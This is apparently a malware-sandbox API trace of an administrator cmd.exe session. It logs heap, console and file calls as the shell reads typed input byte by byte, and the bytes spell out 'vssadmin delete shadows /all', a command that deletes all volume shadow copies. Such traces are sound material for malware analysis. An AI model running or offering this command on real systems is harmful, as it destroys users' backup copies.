	[0090.438] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0xb0e) returned 0x1deb10
	[0090.438] FreeEnvironmentStringsW (penv=0x1daa10) returned 1
	[0090.438] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0090.438] GetProcessHeap () returned 0x1c0000
	[0090.438] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1deb10 | out: hHeap=0x1c0000) returned 1
	[0090.438] GetEnvironmentStringsW () returned 0x1daa10*
	[0090.438] GetProcessHeap () returned 0x1c0000
	[0090.438] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0xb0e) returned 0x1deb10
	[0090.438] FreeEnvironmentStringsW (penv=0x1daa10) returned 1
	[0090.438] GetProcessHeap () returned 0x1c0000
	[0090.438] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1d8900 | out: hHeap=0x1c0000) returned 1
	[0090.438] DeleteProcThreadAttributeList (in: lpAttributeList=0x18f138 | out: lpAttributeList=0x18f138) 
	[0090.810] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1
	[0090.811] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0090.811] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0
	[0090.811] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0090.811] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4a9de194 | out: lpMode=0x4a9de194) returned 0
	[0090.811] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0090.811] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4a9de198 | out: lpMode=0x4a9de198) returned 0
	[0090.811] GetConsoleOutputCP () returned 0x4e3
	[0090.811] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4a9ebfe0 | out: lpCPInfo=0x4a9ebfe0) returned 1
	[0090.812] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0090.812] GetProcessHeap () returned 0x1c0000
	[0090.812] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1d5b70 | out: hHeap=0x1c0000) returned 1
	[0090.812] GetProcessHeap () returned 0x1c0000
	[0090.812] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1d9b00 | out: hHeap=0x1c0000) returned 1
	[0090.812] GetProcessHeap () returned 0x1c0000
	[0090.812] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c1cd0 | out: hHeap=0x1c0000) returned 1
	[0090.812] GetProcessHeap () returned 0x1c0000
	[0090.812] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1d9a80 | out: hHeap=0x1c0000) returned 1
	[0090.812] GetProcessHeap () returned 0x1c0000
	[0090.812] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1d98a0 | out: hHeap=0x1c0000) returned 1
	[0090.812] GetProcessHeap () returned 0x1c0000
	[0090.812] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c1ab0 | out: hHeap=0x1c0000) returned 1
	[0090.812] GetProcessHeap () returned 0x1c0000
	[0090.812] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1d6510 | out: hHeap=0x1c0000) returned 1
	[0090.812] GetProcessHeap () returned 0x1c0000
	[0090.812] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1d4610 | out: hHeap=0x1c0000) returned 1
	[0090.812] GetProcessHeap () returned 0x1c0000
	[0090.813] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1d97e0 | out: hHeap=0x1c0000) returned 1
	[0090.813] _vsnwprintf (in: _Buffer=0x4a9f6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x18f598 | out: _Buffer="\r\n") returned 2
	[0090.813] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0090.813] GetFileType (hFile=0xf4) returned 0x3
	[0090.813] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0090.813] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a9ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0090.813] WriteFile (in: hFile=0xf4, lpBuffer=0x4a9ec320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x18f568, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesWritten=0x18f568*=0x2, lpOverlapped=0x0) returned 1
	[0090.813] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a9df360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4
	[0090.813] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a9ec0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0090.813] _vsnwprintf (in: _Buffer=0x4a9deb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x18f5a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37
	[0090.813] _vsnwprintf (in: _Buffer=0x4a9debaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x18f5a8 | out: _Buffer=">") returned 1
	[0090.813] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0090.813] GetFileType (hFile=0xf4) returned 0x3
	[0090.813] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0090.813] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a9ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39
	[0090.813] WriteFile (in: hFile=0xf4, lpBuffer=0x4a9ec320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x18f598, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesWritten=0x18f598*=0x26, lpOverlapped=0x0) returned 1
	[0090.814] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0090.814] GetFileType (hFile=0xe8) returned 0x3
	[0090.814] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0090.814] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0090.814] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0090.814] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee320, cchWideChar=1 | out: lpWideCharStr="vode con cp select=1251\n") returned 1
	[0090.814] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0090.814] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0090.814] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0090.814] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee322, cchWideChar=1 | out: lpWideCharStr="sde con cp select=1251\n") returned 1
	[0090.814] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0090.814] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0090.814] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0090.814] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee324, cchWideChar=1 | out: lpWideCharStr="se con cp select=1251\n") returned 1
	[0090.814] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0090.814] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0090.814] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0090.814] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee326, cchWideChar=1 | out: lpWideCharStr="a con cp select=1251\n") returned 1
	[0090.814] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0090.814] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0090.814] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0090.814] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee328, cchWideChar=1 | out: lpWideCharStr="dcon cp select=1251\n") returned 1
	[0090.814] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0090.815] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0090.815] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0090.815] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee32a, cchWideChar=1 | out: lpWideCharStr="mon cp select=1251\n") returned 1
	[0090.815] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0090.815] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0090.815] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0090.815] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee32c, cchWideChar=1 | out: lpWideCharStr="in cp select=1251\n") returned 1
	[0090.815] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0090.815] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0090.815] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0090.815] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee32e, cchWideChar=1 | out: lpWideCharStr="n cp select=1251\n") returned 1
	[0090.815] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0090.815] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0090.816] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0090.816] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee330, cchWideChar=1 | out: lpWideCharStr=" cp select=1251\n") returned 1
	[0090.816] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0090.816] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0090.816] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0090.816] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee332, cchWideChar=1 | out: lpWideCharStr="dp select=1251\n") returned 1
	[0090.816] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0090.816] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0090.816] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0090.816] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee334, cchWideChar=1 | out: lpWideCharStr="e select=1251\n") returned 1
	[0090.816] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0090.816] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0090.816] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0090.816] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee336, cchWideChar=1 | out: lpWideCharStr="lselect=1251\n") returned 1
	[0090.816] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0090.816] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0090.816] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0090.816] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee338, cchWideChar=1 | out: lpWideCharStr="eelect=1251\n") returned 1
	[0090.816] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0090.816] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0090.816] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0090.816] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee33a, cchWideChar=1 | out: lpWideCharStr="tlect=1251\n") returned 1
	[0090.816] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0090.817] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0090.817] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0090.817] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee33c, cchWideChar=1 | out: lpWideCharStr="eect=1251\n") returned 1
	[0090.817] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0090.817] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0090.817] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0090.817] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee33e, cchWideChar=1 | out: lpWideCharStr=" ct=1251\n") returned 1
	[0090.817] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0090.817] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0090.817] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0090.817] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee340, cchWideChar=1 | out: lpWideCharStr="st=1251\n") returned 1
	[0090.817] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0090.817] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0090.817] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0090.817] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee342, cchWideChar=1 | out: lpWideCharStr="h=1251\n") returned 1
	[0090.817] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0090.817] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0090.817] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0090.817] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee344, cchWideChar=1 | out: lpWideCharStr="a1251\n") returned 1
	[0090.817] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0090.817] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0090.817] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0090.817] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee346, cchWideChar=1 | out: lpWideCharStr="d251\n") returned 1
	[0090.818] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0090.818] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0090.818] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0090.818] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee348, cchWideChar=1 | out: lpWideCharStr="o51\n") returned 1
	[0090.818] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0090.818] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0090.818] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0090.818] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee34a, cchWideChar=1 | out: lpWideCharStr="w1\n") returned 1
	[0090.818] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0090.818] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0090.818] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0090.818] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee34c, cchWideChar=1 | out: lpWideCharStr="s\n") returned 1
	[0090.818] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0090.818] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0090.818] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0090.818] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee34e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0090.818] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0090.818] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0090.818] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0090.818] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee350, cchWideChar=1 | out: lpWideCharStr="/") returned 1
	[0090.818] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0090.818] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0090.818] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0090.819] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee352, cchWideChar=1 | out: lpWideCharStr="a") returned 1
	[0090.819] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0090.819] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0090.819] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0090.819] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee354, cchWideChar=1 | out: lpWideCharStr="l") returned 1
	[0090.819] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0090.819] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0090.819] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0090.819] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee356, cchWideChar=1 | out: lpWideCharStr="l") returned 1
	[0090.819] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0090.819] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0090.819] ReadFile (in: hFile=0xe8, lpBuffer=0x4a9ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a9ec320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1
	[0090.819] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a9ec320, cbMultiByte=1, lpWideCharStr=0x4a9ee358, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0090.819] _get_osfhandle (_FileHandle=0) returned 0xe8
